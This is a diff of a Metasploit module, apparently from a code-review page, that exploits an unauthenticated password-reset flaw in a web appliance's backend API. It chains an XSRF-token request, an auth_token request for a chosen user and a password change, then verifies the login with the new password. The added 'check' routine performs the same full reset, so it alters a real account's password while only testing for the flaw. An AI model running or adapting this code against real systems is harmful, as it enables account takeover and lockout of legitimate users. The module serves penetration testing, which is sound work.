11class MetasploitModule < Msf ::Auxiliary
22 include Msf ::Exploit ::Remote ::HttpClient
3+ prepend Msf ::Exploit ::Remote ::AutoCheck
34
45 def initialize ( info = { } )
56 super (
@@ -39,6 +40,85 @@ def initialize(info = {})
3940 ] )
4041 end
4142
43+ def check
44+ # 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
45+ res = send_request_cgi (
46+ 'method' => 'GET' ,
47+ 'keep_cookies' => true ,
48+ 'uri' => normalize_uri ( target_uri . path , 'backend/settings/oauth_adfs' ) ,
49+ 'vars_get' => {
50+ 'hostname' => Rex ::Text . rand_text_alpha ( 6 ..10 )
51+ }
52+ )
53+
54+ fail_with ( Failure ::UnexpectedReply , 'Failed to get a 200 response from the server.' ) unless res &.code == 200
55+ print_good ( 'Server reachable.' )
56+
57+ xsrf_token_value = res . get_cookies . scan ( /XSRF-TOKEN=([^;]*)/ ) . flatten [ 0 ]
58+ fail_with ( Failure ::UnexpectedReply , 'XSRF Token not found' ) unless xsrf_token_value
59+
60+ decoded_xsrf_token = decode_url ( xsrf_token_value )
61+ print_good ( "Retrieved XSRF Token: #{ decoded_xsrf_token } " )
62+
63+ # 2) Request generate_code to retrieve auth_token
64+ payload = {
65+ uid : datastore [ 'USER' ]
66+ } . to_json
67+
68+ res = send_request_cgi ( {
69+ 'method' => 'POST' ,
70+ 'ctype' => 'application/json' ,
71+ 'keep_cookies' => true ,
72+ 'headers' => {
73+ 'X-Xsrf-Token' => decoded_xsrf_token
74+ } ,
75+ 'uri' => normalize_uri ( target_uri . path , 'backend/reset_password/generate_code' ) ,
76+ 'data' => payload
77+ } )
78+
79+ fail_with ( Failure ::UnexpectedReply , 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response' ) unless res &.code == 200
80+
81+ json = res . get_json_document
82+ if json . key? ( 'error_message' )
83+ fail_with ( Failure ::UnexpectedReply , json [ 'error_message' ] )
84+ elsif json . key? ( 'auth_token' )
85+ print_good ( 'Retrieved auth_token: ' + json [ 'auth_token' ] )
86+ end
87+
88+ auth_token = json [ 'auth_token' ]
89+
90+ # 3) Request reset_password to change the password of the specified user
91+ payload = {
92+ uid : datastore [ 'USER' ] ,
93+ auth_token : auth_token ,
94+ password : datastore [ 'NEW_PASSWORD' ] ,
95+ password_confirmation : datastore [ 'NEW_PASSWORD' ] ,
96+ common_name : ''
97+ } . to_json
98+
99+ res = send_request_cgi ( {
100+ 'method' => 'POST' ,
101+ 'ctype' => 'application/json' ,
102+ 'keep_cookies' => true ,
103+ 'headers' => {
104+ 'X-Xsrf-Token' => decoded_xsrf_token
105+ } ,
106+ 'uri' => normalize_uri ( target_uri . path , 'backend/reset_password' ) ,
107+ 'data' => payload
108+ } )
109+
110+ fail_with ( Failure ::UnexpectedReply , 'Password reset attempt failed' ) unless res &.code == 200
111+
112+ json = res . get_json_document
113+ if json . key? ( 'error' )
114+ return Exploit ::CheckCode ::Safe
115+ elsif json . key? ( 'status' )
116+ return Exploit ::CheckCode ::Appears
117+ end
118+
119+ Exploit ::CheckCode ::Unknown
120+ end
121+
42122 def decode_url ( encoded_string )
43123 encoded_string . gsub ( /%([0-9A-Fa-f]{2})/ ) do
44124 [ ::Regexp . last_match ( 1 ) . to_i ( 16 ) ] . pack ( 'C' )
@@ -49,52 +129,23 @@ def run
49129 # 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session
50130 res = send_request_cgi (
51131 'method' => 'GET' ,
132+ 'keep_cookies' => true ,
52133 'uri' => normalize_uri ( target_uri . path , 'backend/settings/oauth_adfs' ) ,
53134 'vars_get' => {
54135 'hostname' => Rex ::Text . rand_text_alpha ( 6 ..10 )
55136 }
56137 )
57138
58- unless res
59- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
60- end
61- unless res . code == 200
62- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
63- end
139+ fail_with ( Failure ::UnexpectedReply , 'Failed to get a 200 response from the server.' ) unless res &.code == 200
64140 print_good ( 'Server reachable.' )
65141
66142 # Extract XSRF-TOKEN value
67- raw_res = res . to_s
68- xsrf_token_regex = /XSRF-TOKEN=([^;]*)/
69- xsrf_token = xsrf_token_regex . match ( raw_res )
70-
71- unless xsrf_token
72- fail_with ( Failure ::UnexpectedReply , 'XSRF Token not found' )
73- end
74-
75- xsrf_token_value = xsrf_token [ 1 ]
76- unless xsrf_token_value && !xsrf_token_value . empty?
77- fail_with ( Failure ::UnexpectedReply , 'XSRF Token value is null or empty.' )
78- end
143+ xsrf_token_value = res . get_cookies . scan ( /XSRF-TOKEN=([^;]*)/ ) . flatten [ 0 ]
144+ fail_with ( Failure ::UnexpectedReply , 'XSRF Token not found' ) unless xsrf_token_value
79145
80146 decoded_xsrf_token = decode_url ( xsrf_token_value )
81147 print_good ( "Retrieved XSRF Token: #{ decoded_xsrf_token } " )
82148
83- # Extract _lic_engine_session value
84- lic_token_regex = /_lic_engine_session=([^;]*)/
85- lic_token = lic_token_regex . match ( raw_res )
86-
87- unless lic_token
88- fail_with ( Failure ::UnexpectedReply , '_lic_engine_session not found' )
89- end
90-
91- lic_token_value = lic_token [ 1 ]
92- unless lic_token_value && !lic_token_value . empty?
93- fail_with ( Failure ::UnexpectedReply , '_lic_engine_session value is null or empty.' )
94- end
95-
96- print_good ( "Retrieved _lic_engine_session: #{ lic_token_value } " )
97-
98149 # 2) Request generate_code to retrieve auth_token
99150 payload = {
100151 uid : datastore [ 'USER' ]
@@ -103,20 +154,15 @@ def run
103154 res = send_request_cgi ( {
104155 'method' => 'POST' ,
105156 'ctype' => 'application/json' ,
157+ 'keep_cookies' => true ,
106158 'headers' => {
107- 'X-Xsrf-Token' => decoded_xsrf_token ,
108- 'Cookie' => "_lic_engine_session=#{ lic_token_value } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
159+ 'X-Xsrf-Token' => decoded_xsrf_token
109160 } ,
110161 'uri' => normalize_uri ( target_uri . path , 'backend/reset_password/generate_code' ) ,
111162 'data' => payload
112163 } )
113164
114- unless res
115- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
116- end
117- unless res . code == 200
118- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
119- end
165+ fail_with ( Failure ::UnexpectedReply , 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response' ) unless res &.code == 200
120166
121167 json = res . get_json_document
122168 if json . key? ( 'error_message' )
@@ -139,21 +185,15 @@ def run
139185 res = send_request_cgi ( {
140186 'method' => 'POST' ,
141187 'ctype' => 'application/json' ,
188+ 'keep_cookies' => true ,
142189 'headers' => {
143- 'X-Xsrf-Token' => decoded_xsrf_token ,
144- 'Cookie' => "_lic_engine_session=#{ lic_token_value } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
190+ 'X-Xsrf-Token' => decoded_xsrf_token
145191 } ,
146192 'uri' => normalize_uri ( target_uri . path , 'backend/reset_password' ) ,
147193 'data' => payload
148194 } )
149195
150- unless res
151- fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
152- end
153-
154- unless res . code == 200
155- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
156- end
196+ fail_with ( Failure ::UnexpectedReply , 'Password reset attempt failed' ) unless res &.code == 200
157197
158198 json = res . get_json_document
159199 if json . key? ( 'error_message' )
@@ -169,18 +209,16 @@ def run
169209 res = send_request_cgi ( {
170210 'method' => 'POST' ,
171211 'ctype' => 'application/json' ,
212+ 'keep_cookies' => true ,
172213 'headers' => {
173214 'X-Xsrf-Token' => decoded_xsrf_token ,
174- 'Accept' => 'application/json' ,
175- 'Cookie' => "_lic_engine_session=#{ lic_token_value } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
215+ 'Accept' => 'application/json'
176216 } ,
177217 'uri' => normalize_uri ( target_uri . path , 'backend/auth/identity/callback' ) ,
178218 'data' => payload
179219 } )
180220
181- unless res . code == 200
182- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
183- end
221+ fail_with ( Failure ::UnexpectedReply , 'Failed to verify authentication with the new password was successful.' ) unless res &.code == 200
184222
185223 json = res . get_json_document
186224 unless json . key? ( 'uid' ) && json [ 'uid' ] == datastore [ 'USER' ]
0 commit comments